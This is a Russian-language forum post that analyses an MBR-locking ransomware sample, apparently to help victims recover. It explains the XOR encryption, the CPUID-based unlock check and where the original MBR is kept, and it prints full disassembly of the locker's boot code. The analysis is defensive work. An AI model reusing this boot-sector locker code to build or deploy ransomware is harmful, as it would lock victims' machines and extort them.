- Сообщения
- 3,740
- Реакции
- 2,386
Появился новый MBRlock https://www.virustotal.com/file/1cc...b89a150e1309d4fb36af391a/analysis/1330096104/
Примеры тем
http://forum.kaspersky.com/index.php?showtopic=229855
http://forum.kaspersky.com/index.php?showtopic=229825
Ускоренный анализ дампа из первой темы показал следующее
1. Почти весь код пошифрован с помощью XOR байтом по смещению 1FC
2. Код разблокировки основан на характеристиках процессора заблокированной машины (в тонкостях не разбирался)
3. Оригинальный MBR хранится во втором секторе и дешифровывается с помощью операции XOR с содержимым седьмого сектора
Внимание: ввиду того, что таблица разделов тоже пошифрована, использование FixMBR не рекомендуется
Примеры тем
http://forum.kaspersky.com/index.php?showtopic=229855
http://forum.kaspersky.com/index.php?showtopic=229825
Ускоренный анализ дампа из первой темы показал следующее
1. Почти весь код пошифрован с помощью XOR байтом по смещению 1FC
2. Код разблокировки основан на характеристиках процессора заблокированной машины (в тонкостях не разбирался)
3. Оригинальный MBR хранится во втором секторе и дешифровывается с помощью операции XOR с содержимым седьмого сектора
Внимание: ввиду того, что таблица разделов тоже пошифрована, использование FixMBR не рекомендуется
Код:
00000000: 6660 pushad
00000002: FC cld
00000003: BE007C mov si,07C00
00000006: BF0006 mov di,00600
00000009: B90002 mov cx,00200
0000000C: F3A4 rep movsb
0000000E: BB2C7C mov bx,07C2C
00000011: 81EB007C sub bx,07C00
00000015: 81C30006 add bx,00600
00000019: 89D9 mov cx,bx
; дешифровка кода
0000001B: 8A07 mov al,[bx]
0000001D: 3206FC07 xor al,[007FC]
00000021: 8807 mov [bx],al
00000023: 43 inc bx
00000024: 81FBFB07 cmp bx,007FB
00000028: 75F1 jnz 00000001B
0000002A: FFE1 jmp cx
; зашифрованный участок (002C – 01FA)
0000002C: 78C3 js 0FFFFFFF1
0000002E: C00DD0 ror b,[di],0D0
00000031: 287EC0 sub [bp][0C0],bh
00000034: 49 dec cx
00000035: 1E push ds
00000036: 2850C0 sub [bx][si][0C0],dl
00000039: 28AEC028 sub [bp][028C0],ch
0000003D: 7FC0 jg 0FFFFFFFF
0000003F: 97 xchg di,ax
00000040: 74C0 jz 000000002
00000042: 0DD69F or ax,09FD6
00000045: FC cld
00000046: CDB4 int 0B4
00000048: DAFC #UD
0000004A: E0B2 loopne 0FFFFFFFE
0000004C: 32FC xor bh,ah
0000004E: BEB72E mov si,02EB7
00000051: 6A90 push 090
00000053: EC in al,dx
00000054: F014 #UD(lock)
00000056: D015 rcl b,[di],1
00000058: C9 leave
00000059: C0C6C0 rol dh,0C0
0000005C: E99828 jmp 0000028F7
0000005F: E5C1 in ax,0C1
00000061: 2B1C sub bx,[si]
00000063: 288AC143 sub [bp][si][043C1],cl
00000067: 38C0 cmp al,al
00000069: B4FA mov ah,-6
0000006B: 7A40 jp 0000000AD
0000006D: C078C1C2 sar b,[bx][si][0C1],0C2
00000071: 79C7 jns 00000003A
00000073: C07BC0BE sar b,[bp][di][0C0],0BE
00000077: 0DD379 or ax,079D3
0000007A: C2C078 retn 078C0
0000007D: C1C27B rol dx,07B
00000080: C0BC0DD34A sar b,[si][0D30D],04A
00000085: C7F2 #UD
00000087: 47 inc di
00000088: C0C248 rol dl,048
0000008B: C783413BC0BE mov w,[bp][di][03B41],0BEC0
00000091: B531 mov ch,031
00000093: 79C1 jns 000000056
00000095: C078C1C3 sar b,[bx][si][0C1],0C3
00000099: 7BC0 jnp 00000005B
0000009B: BC0DD3 mov sp,0D30D
0000009E: A6 cmpsb
0000009F: A12AC0 mov ax,[0C02A]
000000A2: BCC0C0 mov sp,0C0C0
000000A5: 3A703E cmp dh,[bx][si][03E]
000000A8: 26A4 movsb
000000AA: F1 #ICE1
000000AB: 09966CFC or [bp][0FC6C],dx
000000AF: C0B4C94139 sal b,[si][041C9],039
000000B4: 3F aas
000000B5: C7B4 #UD
000000B7: C3 retn
000000B8: 812B329E sub w,[bp][di],09E32
000000BC: 78C1 js 00000007F
000000BE: D3F1 sal cx,cl
000000C0: 127BCF adc bh,[bp][di][0CF]
000000C3: C049350D ror b,[bx][di][035],00D
000000C7: D003 rol b,[bp][di],1
000000C9: 7A40 jp 00000010B
000000CB: C079C8C0 sar b,[bx][di][0C8],0C0
000000CF: 78C8 js 000000099
000000D1: C27BC0 retn 0C07B
000000D4: D00D ror b,[di],1
000000D6: D3491D ror w,[bx][di][01D],cl
000000D9: 4A dec dx
000000DA: 87D2 xchg dx,dx
000000DC: FC cld
000000DD: BEB4C1 mov si,0C1B4
000000E0: 0374D1 add si,[si][0D1]
000000E3: 70C0 jo 0000000A5
000000E5: 793F jns 000000126
000000E7: C07AC0C0 sar b,[bp][si][0C0],0C0
000000EB: 77D0 ja 0000000BD
000000ED: 73C0 jnc 0000000AF
000000EF: 0DD003 or ax,003D0
000000F2: 79C3 jns 0000000B7
000000F4: C078C4C2 sar b,[bx][si][0C4],0C2
000000F8: 7BC0 jnp 0000000BA
000000FA: E00D loopne 000000109
000000FC: D303 rol w,[bp][di],cl
000000FE: 4A dec dx
000000FF: E63D out 03D,al
00000101: C760 #UD
00000103: 3BC7 cmp ax,di
00000105: 28A0C078 sub [bx][si][078C0],ah
00000109: C0C0CF rol al,0CF
0000010C: 6248FE bound cx,[bx][si][-2]
0000010F: C0E848 shr al,048
00000112: DEC1 faddp st(1),st(0)
00000114: E84918 call 000001960
00000117: 288EC078 sub [bp][078C0],cl
0000011B: C0C0CF rol al,0CF
0000011E: 6248EE bound cx,[bx][si][0EE]
00000121: C2E848 retn 048E8
00000124: CE into
00000125: C3 retn
00000126: E84908 call 000000972
00000129: 28FC sub ah,bh
0000012B: C078C1C0 sar b,[bx][si][0C1],0C0
0000012F: CF iret
00000130: 6248FE bound cx,[bx][si][-2]
00000133: C4 #UD(mod)
00000134: E848DE call 00000DF7F
00000137: C5 #UD(mod)
00000138: E84918 call 000001984
0000013B: 28EA sub dl,ch
0000013D: C078C1C0 sar b,[bx][si][0C1],0C0
00000141: CF iret
00000142: 6248F6 bound cx,[bx][si][0F6]
00000145: C6E8 #UD
00000147: 48 dec ax
00000148: D6 setalc
00000149: C7E8 #UD
0000014B: 49 dec cx
0000014C: 1028 adc [bx][si],ch
0000014E: D8C0 fadd st(0),st(0)
00000150: 7E04 jle 000000156
00000152: BD412E mov bp,02E41
00000155: C0BC4106C0 sar b,[si][00641],0C0
0000015A: C66C #UD
0000015C: FC cld
0000015D: C0B4C79628 sal b,[si][096C7],028
00000162: E2C0 loop 000000124
00000164: 9E sahf
00000165: 2B34 sub si,[si]
00000167: 03A6A071 add sp,[bp][071A0]
0000016B: CC int 3
0000016C: 52 push dx
0000016D: 49 dec cx
0000016E: 1013 adc [bp][di],dl
00000170: 28E4 sub ah,ah
00000172: CF iret
00000173: C4 #UD(mod)
00000174: F0FC #UD(lock)
00000176: F9 stc
00000177: B6C2 mov dh,0C2
00000179: C4 #UD(mod)
0000017A: C728 #UD
0000017C: C8C04029 enter 040C0,029
00000180: C4B32AA6 les si,[bp][di][0A62A]
00000184: A103A6 mov ax,[0A603]
00000187: A07BCB mov al,[0CB7B]
0000018A: C074CE0D sal b,[si][0CE],00D
0000018E: D0A6A103 shl b,[bp][003A1],1
00000192: 03963C7B add dx,[bp][07B3C]
00000196: 3F aas
00000197: 3F aas
00000198: 6C insb
00000199: 91 xchg cx,ax
0000019A: 79C8 jns 000000164
0000019C: C0F003 sal al,3
0000019F: 112B adc [bp][di],bp
000001A1: B3C4 mov bl,0C4
000001A3: 41 inc cx
000001A4: 33C1 xor ax,cx
000001A6: 60 pusha
000001A7: 22369922 and dh,[02299]
000001AB: 2C49 sub al,049'
000001AD: 189E037E sbb [bp][07E03],bl
000001B1: C0E879 shr al,079
000001B4: C8C0281A enter 028C0,01A
000001B8: 3F aas
000001B9: C020FA shl b,[bx][si],-6
000001BC: C6C0E9 mov al,0E9
000001BF: B4C2 mov ah,0C2
000001C1: F1 #ICE1
000001C2: 0003 add [bp][di],al
000001C4: CDCA int 0CA
000001C6: 90 nop
000001C7: A1B3B3 mov ax,[0B3B3]
000001CA: B7AF mov bh,0AF
000001CC: B2A4 mov dl,0A4
000001CE: FA cli
000001CF: E0C0 loopne 000000191
000001D1: C0C0C0 rol al,0C0
000001D4: C0C0C0 rol al,0C0
000001D7: C0C0C0 rol al,0C0
000001DA: C0C0C0 rol al,0C0
000001DD: C0C0C0 rol l,0C0
000001E0: C0C0C0 rol al,0C0
000001E3: C0C0C0 rol al,0C0
000001E6: C0C0C0 rol al,0C0
000001E9: C0C0C0 rol al,0C0
000001EC: C0C0C0 rol al,0C0
000001EF: C0C0C0 rol al,0C0
000001F2: C0C0C0 rol al,0C0
000001F5: C0C0C0 rol al,0C0
000001F8: C0C0C0 rol l,0C0
; конец зашифрованного участка
000001FB: 16 push ss
000001FC: C00355 rol b,[bp][di],055
000001FF: AA stosb
Код:
; установить видеорежим
0000002C: B80300 mov ax,3
0000002F: CD10 int 010
; чтение секторов с сообщением вымогателя
00000031: E8BE00 call 0000000F2
00000034: 89DE mov si,bx
; инициализация знакогенератора
00000036: E89000 call 0000000C9
; вывод сообщения
00000039: E86E00 call 0000000AA
; получение информации о процессоре и вывод строки ввода кода
0000003C: E8BF00 call 0000000FE
; ввод кода
0000003F: 57 push di
00000040: B400 mov ah,0
00000042: CD16 int 016
00000044: 5F pop di
00000045: 3C0D cmp al,00D
00000047: 741A jz 000000063
00000049: 3C20 cmp al,020
0000004B: 72F2 jc 00000003F
0000004D: 3C7E cmp al,07E
0000004F: 77EE ja 00000003F
00000051: AA stosb
00000052: 50 push ax
00000053: 2C30 sub al,030
00000055: D410 aam 010
00000057: D509 aad 9
00000059: 00060029 add [02900],al
0000005D: 58 pop ax
0000005E: E82501 call 000000186
00000061: EBDC jmps 00000003F
; проверка кода
00000063: E84A01 call 0000001B0
00000066: 83F800 cmp ax,0
00000069: 743A jz 0000000A5
; код верный, чтение и дешифровка оригинального MBR
0000006B: BA8000 mov dx,00080
0000006E: B80102 mov ax,00201
00000071: B90700 mov cx,7
00000074: BB007E mov bx,07E00
00000077: CD13 int 013
00000079: B90200 mov cx,2
0000007C: B80102 mov ax,00201
0000007F: BB007C mov bx,07C00
00000082: CD13 int 013
00000084: 8A07 mov al,[bx]
00000086: 32870002 xor al,[bx][00200]
0000008A: 8807 mov [bx],al
0000008C: 43 inc bx
0000008D: 81FB007E cmp bx,07E00
00000091: 75F1 jnz 000000084
00000093: B90100 mov cx,1
00000096: B80103 mov ax,00301
00000099: BB007C mov bx,07C00
0000009C: CD13 int 013
0000009E: 6661 popad
000000A0: EA007C0000 jmpf 00000:07C00
000000A5: FA cli
000000A6: B0FE mov al,-2
000000A8: E664 out 064,al
; вывод сообщения
000000AA: 31C9 xor cx,cx
000000AC: 56 push si
000000AD: AC lodsb
000000AE: 3C00 cmp al,0
000000B0: 7409 jz 0000000BB
000000B2: 81F9FF07 cmp cx,007FF
000000B6: 7403 jz 0000000BB
000000B8: 41 inc cx
000000B9: EBF2 jmps 0000000AD
000000BB: 5E pop si
000000BC: B80113 mov ax,01301
000000BF: 31D2 xor dx,dx
000000C1: BB0F00 mov bx,0000F
000000C4: 89F5 mov bp,si
000000C6: CD10 int 010
000000C8: C3 retn
; загрузка знакогенератора
000000C9: BA8000 mov dx,00080
000000CC: B90800 mov cx,8
000000CF: B80802 mov ax,00208
000000D2: BB0010 2mov bx,01000
000000D5: CD13 int 013
000000D7: 89DD mov bp,bx
000000D9: 8A4712 mov al,[bx][012]
000000DC: 3C7E cmp al,07E
000000DE: 7401 jz 0000000E1
000000E0: C3 retn
000000E1: B411 mov ah,011
000000E3: B000 mov al,0
000000E5: B9FF00 mov cx,000FF
000000E8: BA0000 mov dx,0
000000EB: B710 mov bh,010
000000ED: B300 mov bl,0
000000EF: CD10 int 010
000000F1: C3 retn
; прочитать 4 сектора (3, 4, 5, 6) по адресу es:bx
000000F2: B90300 mov cx,3
000000F5: B80402 mov ax,00204
000000F8: BB0020 mov bx,02000
000000FB: CD13 int 013
000000FD: C3 retn
; сохранение информации о процесс + подготовка строки ввода кода
000000FE: 8A26FD07 mov ah,[007FD] ; ah = 03
00000102: A0FB07 mov al,[007FB] ; al = 16
00000105: E86000 call 00000168
; получение информации о процессоре
00000108: B80000 mov ax,0
0000010B: 0FA2 cpuid
0000010D: 883E0028 mov [02800],bh
00000111: 881E0128 mov [02801],bl
00000115: 89D8 mov ax,bx
00000117: E84E00 call 000000168
0000011A: B80000 mov ax,0
0000011D: 0FA2 cpuid
0000011F: 882E0228 mov [02802],ch
00000123: 880E0328 mov [02803],cl
00000127: 89C8 mov ax,cx
00000129: E83C00 call 000000168
0000012C: B80100 mov ax,1
0000012F: 0FA2 cpuid
00000131: 883E0428 mov [02804],bh
00000135: 881E0528 mov [02805],bl
00000139: 89D8 mov ax,bx
0000013B: E82A00 call 000000168
0000013E: B80100 mov ax,1
00000141: 0FA2 cpuid
00000143: 88360628 mov [02806],dh
00000147: 88160728 mov [02807],dl
0000014B: 89D0 mov ax,dx
0000014D: E81800 call 000000168
00000150: BEC47D mov si,07DC4
00000153: 81EE007C sub si,07C00
00000157: 81C60006 add si,00600
0000015B: AC lodsb
0000015C: 3C00 cmp al,0
0000015E: 7407 jz 000000167
00000160: 56 push si
00000161: E82200 call 000000186
00000164: 5E pop si
00000165: EBF4 jmps 00000015B
00000167: C3 retn
; вывод 16-ричных цифр на экран
00000168: 6660 pushad
0000016A: B10C mov cl,00C
0000016C: 92 xchg dx,ax
0000016D: 89D0 mov ax,dx
0000016F: D3E8 shr ax,cl
00000171: 240F and al,00F
00000173: 0430 add al,030
00000175: 3C39 cmp al,039'
00000177: 7602 jbe 00000017B
00000179: 0407 add al,7
0000017B: E80800 call 000000186
0000017E: 80E904 sub cl,4
00000181: 73EA jnc 00000016D
00000183: 6661 popad
00000185: C3 retn
00000186: 6660 pushad
00000188: BB0B00 mov bx,0000B
0000018B: B40E mov ah,00E
0000018D: CD10 int 010
0000018F: 6661 popad
00000191: C3 retn
00000192: C3 retn
; преобразование кода конфигурации
00000193: 56 push si
00000194: FC cld
00000195: BBFFFF mov bx,-1
00000198: AC lodsb
00000199: 51 push cx
0000019A: B90800 mov cx,8
0000019D: 30C3 xor bl,al
0000019F: D1EB shr bx,1
000001A1: 7304 jnc 0000001A7
000001A3: 81F301A0 xor bx,0A001
000001A7: E2F6 loop 00000019F
000001A9: 59 pop cx
000001AA: E2EC loop 000000198
000001AC: 89D8 mov ax,bx
000001AE: 5E pop si
000001AF: C3 retn
; проверка кода
000001B0: BE0028 mov si,02800
000001B3: B90800 mov cx,8
000001B6: E8DAFF call 000000193
000001B9: 00E0 add al,ah
000001BB: 3A060029 cmp al,[02900]
000001BF: 7402 jz 0000001C3
000001C1: 31C0 xor ax,ax
000001C3: C3 retn
000001C4: 0D0A, ‘Password: ’
000001D0: 0000
…
000001F8: 0000
Последнее редактирование: